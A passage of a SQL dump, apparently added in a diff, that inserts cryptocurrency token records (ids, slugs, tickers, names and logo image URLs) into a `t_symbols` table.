`t_symbols` VALUES (2059, 'pyn', 'PYN', 'PAYCENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pyn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2060, 'asian-dragon', 'AD', 'Asian Dragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asian-dragon.png', NULL); +INSERT INTO `t_symbols` VALUES (2061, 'ubex', 'UBEX', 'Ubex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2062, 'rlx', 'RLX', 'Relex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2063, '777-bingo', '777', '777', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/777-bingo.png', NULL); +INSERT INTO `t_symbols` VALUES (2064, 'btrs', 'BTRS', 'Bitball Treasure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btrs.png', NULL); +INSERT INTO `t_symbols` VALUES (2065, 'atc-coin', 'ATCC', 'ATC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atc-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2066, 'realchain', 'RCT', 'RealChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2067, 'defipie', 'PIE', 'DeFiPie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defipie.png', NULL); +INSERT INTO `t_symbols` VALUES (2068, 'dws', 'DWS', 'DWS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dws.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2069, 'exrt', 'EXRT', 'EXRT Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exrt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2070, 'tera', 'TERA', 'TERA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tera.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2071, 'jet8', 'J8T', 'JET8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jet8.png', NULL); +INSERT INTO `t_symbols` VALUES (2072, 'marrychain', 'MAC', 'marrychain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2073, 'hedge', 'HDG', 'Hedge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedge.png', NULL); +INSERT INTO `t_symbols` VALUES (2074, 'guccionecoin', 'GCC', 'GuccioneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guccionecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2075, 'biteur', 'BITEUR', 'bitEUR', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2076, 'lien', 'LIEN', 'Lien', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lien.png', NULL); +INSERT INTO `t_symbols` VALUES (2077, 'vslice', 'VSL', 'vSlice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/vDice_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2078, 'gapcoin', 'GAP', 'Gapcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gapcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2079, 'global-currency-reserve', 'GCR', 'Global Currency Reserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-currency-reserve.png', NULL); +INSERT INTO `t_symbols` VALUES (2080, 'tattoocoin', 'TSE', 'Tattoocoin (Standard Edition)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tattoocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2081, 'content-and-ad-network', 'CAN', 'CAN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-and-ad-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2082, 'synergy', 'SNRG', 'Synergy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synergy.png', NULL); +INSERT INTO `t_symbols` VALUES (2083, 'force', 'FOR', 'FORCE', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2084, 'playfuel', 'PLF', 'PlayFuel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playfuel.png', NULL); +INSERT INTO `t_symbols` VALUES (2085, 'darkpaycoin', 'D4RK', 'Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darkpaycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2086, 'omnitude', 'ECOM', 'Omnitude', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omnitude.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2087, 'datamine', 'DAM', 'Datamine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datamine.png', NULL); +INSERT INTO `t_symbols` VALUES (2088, 'condensate', 'RAIN', 'Condensate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condensate.png', NULL); +INSERT INTO `t_symbols` VALUES (2089, 'newos', 'NEWOS', 'NewsToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newos.png', NULL); +INSERT INTO `t_symbols` VALUES (2090, 'u-network', 'UUU', 'U Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/u-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2091, 'bitcoin-interest', 'BCI', 'Bitcoin Interest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-interest.png', NULL); +INSERT INTO `t_symbols` VALUES (2092, 'unikoin-gold', 'UKG', 'Unikoin Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unikoin-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (2093, 'zeepin', 'ZPT', 'Zeepin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeepin.png', NULL); +INSERT INTO `t_symbols` VALUES (2094, 'data-transaction', 'DTC', 'Data Transaction', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-transaction.png', NULL); +INSERT INTO `t_symbols` VALUES (2095, 'tagcoin', 'TAG', 'Tagcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tagcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2096, 'bvt', 'BVT', 'VTChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bvt.png', NULL); +INSERT INTO `t_symbols` VALUES (2097, 'facc', 'FACC', 'FACC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/facc.png', NULL); +INSERT INTO `t_symbols` VALUES (2098, 'ac3', 'AC3', 'AC3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ac3.png', NULL); +INSERT INTO `t_symbols` VALUES (2099, 'bigbom', 'BBO', 'Bigbom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigbom.png', NULL); +INSERT INTO `t_symbols` VALUES (2100, 'pareto-network', 'PARETO', 'PARETO Rewards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pareto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2101, 'vgr', 'VGR', 'Voyager', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vgr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2102, 'playitforwarddao', 'PIF', 'Play It Forward DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/playitforwarddao.png', NULL); +INSERT INTO `t_symbols` VALUES (2103, 'dos-network-token', 'DOS', 'DOS Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dos-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2104, 'monster-byte', 'MBI', 'Monster Byte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/casinobitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2105, 'tena', 'TENA', 'Tena [new]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tena.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2106, 'ethereum-gold-project', 'ETGP', 'Ethereum Gold Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-gold-project.png', NULL); +INSERT INTO `t_symbols` VALUES (2107, 'cstrtoken', 'CSTR', 'CoreStarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/corestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (2108, 'lomocoin', 'LMC', 'LoMoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lomocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2109, 'formosa-financial', 'FMF', 'Formosa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/formosa-financial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2110, 'qbao', 'QBT', 'Qbao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbao.png', NULL); +INSERT INTO `t_symbols` VALUES (2111, 'bitcoen', 'BEN', 'BitCoen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2112, 'castweet', 'CTT', 'Castweet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/castweet.png', NULL); +INSERT INTO `t_symbols` VALUES (2113, 'edc-blockchain', 'EDC', 'EDC Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edc-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2114, 'verisafe', 'VSF', 'VeriSafe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verisafe.png', NULL); +INSERT INTO `t_symbols` VALUES (2115, 'darextravel', 'DART', 'DarexTravel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darextravel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2116, 'bitbtc', 'BITBTC', 'bitBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (2117, 'pointset', 'SET', 'pointset', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2118, 'pylon-finance', 'PYLON', 'Pylon Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pylon-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2119, 'swing', 'SWING', 'Swing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swing.png', NULL); +INSERT INTO `t_symbols` VALUES (2120, 'actinium', 'ACM', 'Actinium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/actinium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2121, 'worldcore', 'WRC', 'Worldcore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worldcore.png', NULL); +INSERT INTO `t_symbols` VALUES (2122, 'caixa-pay', 'CXP', 'Caixa Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caixa-pay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2123, 'lht-coin', 'LHT', 'LHT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdx.png', NULL); +INSERT INTO `t_symbols` VALUES (2124, 'masari', 'MSR', 'Masari', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/masari.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2125, 'evry', 'EVRY', 'EVRYNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/evrynet.png', NULL); +INSERT INTO `t_symbols` VALUES (2126, 'lightbit', 'LITB', 'LightBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2127, 'lever-token', 'LEV', 'Lever Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2128, 'bitblocks', 'BBK', 'Bitblocks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitblocks.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2129, 'iht-real-estate-protocol', 'IHT', 'IHT Real Estate Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iht-real-estate-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2130, 'cloud-opening-currency', 'YKC', 'cloud-opening-currency', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2131, 'view', 'VIEW', 'View', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/view.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2132, 'cheesecoin', 'CHEESE', 'Cheese', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cheesecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2133, 'pascal-coin', 'PASC', 'Pascal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pascal-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2134, 'medishares', 'MDS', 'MediShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medishares.png', NULL); +INSERT INTO `t_symbols` VALUES (2135, 'powercoin', 'PWR', 'PWR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/powercoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2136, 'givly-coin', 'GIV', 'GIV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/givly-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2137, 'clzh', 'CLZH', 'clzh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clzh.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2138, 'uto', 'UTO', 'UTour', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uto.png', NULL); +INSERT INTO `t_symbols` VALUES (2139, 'iptchain', 'IPT', 'IPTChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iptchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2140, 'open-aurum', 'OA', 'Open Aurum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-aurum.png', NULL); +INSERT INTO `t_symbols` VALUES (2141, 'lethean', 'LTHN', 'Lethean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lethean.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2142, 'astrotools', 'ASTRO', 'AstroTools', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astrotools.png', NULL); +INSERT INTO `t_symbols` VALUES (2143, 'freicoin', 'FRC', 'Freicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Freicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2144, 'vodi-x', 'VDX', 'Vodi X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d01fdbe0e293c2acfeeac3e26b4ed680.png', NULL); +INSERT INTO `t_symbols` VALUES (2145, 'mochi-market', 'MOMA', 'Mochi Market', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mochi-market.png', NULL); +INSERT INTO `t_symbols` VALUES (2146, 'merculet', 'MVP', 'Merculet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merculet.png', NULL); +INSERT INTO `t_symbols` VALUES (2147, 'lvtc', 'LVTC', 'lvtc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lvtc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2148, 'dracula-token', 'DRC', 'Dracula Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dracula-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2149, 'everycoin', 'EVY', 'EveryCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2150, 'bitcoin-scrypt', 'BTCS', 'Bitcoin Scrypt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-scrypt.png', NULL); +INSERT INTO `t_symbols` VALUES (2151, 'monarch-token', 'MT', 'Monarch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monarch-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2152, 'miners-reward-token', 'MRT', 'MRT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miners-reward-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2153, 'breakout', 'BRK', 'Breakout', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BreakoutCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2154, 'pura', 'PURA', 'Pura', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pura.png', NULL); +INSERT INTO `t_symbols` VALUES (2155, 'dbx', 'DBX', 'DataBaseX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dbx.png', NULL); +INSERT INTO `t_symbols` VALUES (2156, 'bank-coin', 'BANK', 'CroBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bank-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2157, 'cadcoin', 'CAD', 'cad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2158, 'hydrogen', 'HYDRO', 'Hydro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydrogen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2159, 'dfund', 'DFND', 'dFund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfund.png', NULL); +INSERT INTO `t_symbols` VALUES (2160, 'penta', 'PNT', 'Penta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/penta.png', NULL); +INSERT INTO `t_symbols` VALUES (2161, 'bspt', 'BSPT', 'Blocksport', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blocksport.png', NULL); +INSERT INTO `t_symbols` VALUES (2162, 'decision-token', 'HST', 'Decision Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decision-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2163, 'exclusivecoin', 'EXCL', 'ExclusiveCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exclusivecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2164, 'domraider', 'DRT', 'DomRaider', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/domraider.png', NULL); +INSERT INTO `t_symbols` VALUES (2165, 'midasprotocol', 'MAS', 'Midas Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/midasprotocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2166, 'shivom', 'OMX', 'Project SHIVOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shivom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2167, 'adbank', 'ADB', 'adbank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adbank.png', NULL); +INSERT INTO `t_symbols` VALUES (2168, 'blue-whale-token', 'BWX', 'Blue Whale EXchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blue-whale-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2169, 'stb', 'STB', 'STB Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stb.png', NULL); +INSERT INTO `t_symbols` VALUES (2170, 'magiccoin', 'MAGE', 'MagicCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/magiccoinio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2171, 'tico', 'TICO', 'TICOEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tico.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2172, 'wet', 'WET', 'WeShow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/WeShowGroup.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2173, 'elvntoken', 'ELVN', 'ElevenToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/11minutes.png', NULL); +INSERT INTO `t_symbols` VALUES (2174, 'arion', 'ARION', 'Arion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arion.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2175, 'xceltokenplus', 'XLAB', 'XCELTOKEN PLUS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xceltokenplus.png', NULL); +INSERT INTO `t_symbols` VALUES (2176, 'b2n', 'B2N', 'bitcoin2network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2n.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2177, 'bbs', 'BBS', 'BBSCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bbs.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2178, 'neumark', 'NEU', 'Neumark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neumark.png', NULL); +INSERT INTO `t_symbols` VALUES (2179, 'cashbery-coin', 'CBC', 'Cashbery Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashbery-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2180, 'noir', 'NOR', 'Noir', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noir.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2181, 'universal-currency', 'UNIT', 'Universal Currency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universal-currency.png', NULL); +INSERT INTO `t_symbols` VALUES (2182, 'lpk', 'LPK', 'Kripton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lpk.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2183, 'chi-gastoken', 'CHI', 'Chi Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chi-gastoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2184, 'playkey', 'PKT', 'PlayKey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playkey.png', NULL); +INSERT INTO `t_symbols` VALUES (2185, 'olxa', 'OLXA', 'OLXA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olxa.png', NULL); +INSERT INTO `t_symbols` VALUES (2186, 'luxcoin', 'LUX', 'LUXCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2187, 'cbdao', 'BREE', 'CBDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cbdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2188, 'bit-tube', 'TUBE', 'BitTube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-tube.png', NULL); +INSERT INTO `t_symbols` VALUES (2189, 'nucleus-vision', 'NCASH', 'Nitro Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nucleus-vision.png', NULL); +INSERT INTO `t_symbols` VALUES (2190, 'blackmoon', 'BMC', 'Blackmoon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackmoon.png', NULL); +INSERT INTO `t_symbols` VALUES (2191, 'pinkcoin', 'PINK', 'Pinkcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pinkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2192, 'mediccoin', 'MEDIC', 'Medic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mediccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2193, 'glitzkoin', 'GTN', 'GlitzKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glitzkoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2194, 'arepacoin', 'AREPA', 'Arepacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arepacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2195, 'zeusshield', 'ZSC', 'Zeusshield', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeusshield.png', NULL); +INSERT INTO `t_symbols` VALUES (2196, 'sharder', 'SS', 'Sharder protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharder.png', NULL); +INSERT INTO `t_symbols` VALUES (2197, 'zetacoin', 'ZET', 'Zetacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zetacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2198, 'primalbase', 'PBT', 'Primalbase Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primalbase.png', NULL); +INSERT INTO `t_symbols` VALUES (2199, '2give', '2GIVE', '2GIVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2give.png', NULL); +INSERT INTO `t_symbols` VALUES (2200, 'commercium', 'CMM', 'Commercium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commercium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2201, 'accelerator-network', 'ACC', 'Accelerator Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/accelerator-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2202, 'savenode', 'SNO', 'SaveNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/savenode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2203, 'bananacoin', 'BCO', 'BananaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bananacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2204, 'bitsum', 'MAT', 'Matka', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2205, 'insanecoin-insn', 'INSN', 'InsaneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insanecoin-insn.png', NULL); +INSERT INTO `t_symbols` VALUES (2206, 'hurify', 'HUR', 'Hurify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hurify.png', NULL); +INSERT INTO `t_symbols` VALUES (2207, 'bitcoin-incognito', 'XBI', 'Bitcoin Incognito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-incognito.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2208, 'heartnumber', 'HTN', 'Heart Number', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heartnumber.png', NULL); +INSERT INTO `t_symbols` VALUES (2209, 'indorse-token', 'IND', 'Indorse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indorse-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2210, 'evil-coin', 'EVIL', 'Evil Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evil-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2211, 'amoveo', 'VEO', 'Amoveo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amoveo.png', NULL); +INSERT INTO `t_symbols` VALUES (2212, 'huzu', 'HUZU', 'HUZU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huzu.png', NULL); +INSERT INTO `t_symbols` VALUES (2213, 'bee-token', 'BEE', 'Bee Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bee-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2214, 'catocoin', 'CATO', 'CatoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/catocoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2215, 'aux', 'AUX', 'Auxilium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2216, 'definer', 'FIN', 'DeFiner', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/definer.png', NULL); +INSERT INTO `t_symbols` VALUES (2217, 'ddlian', 'DANG', 'ddlian', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2218, 'usdx-wallet', 'USDX', 'USDX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdx-wallet.png', NULL); +INSERT INTO `t_symbols` VALUES (2219, 'fundyourselfnow', 'FYN', 'FundYourselfNow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundyourselfnow.png', NULL); +INSERT INTO `t_symbols` VALUES (2220, 'guppy', 'GUP', 'Guppy', 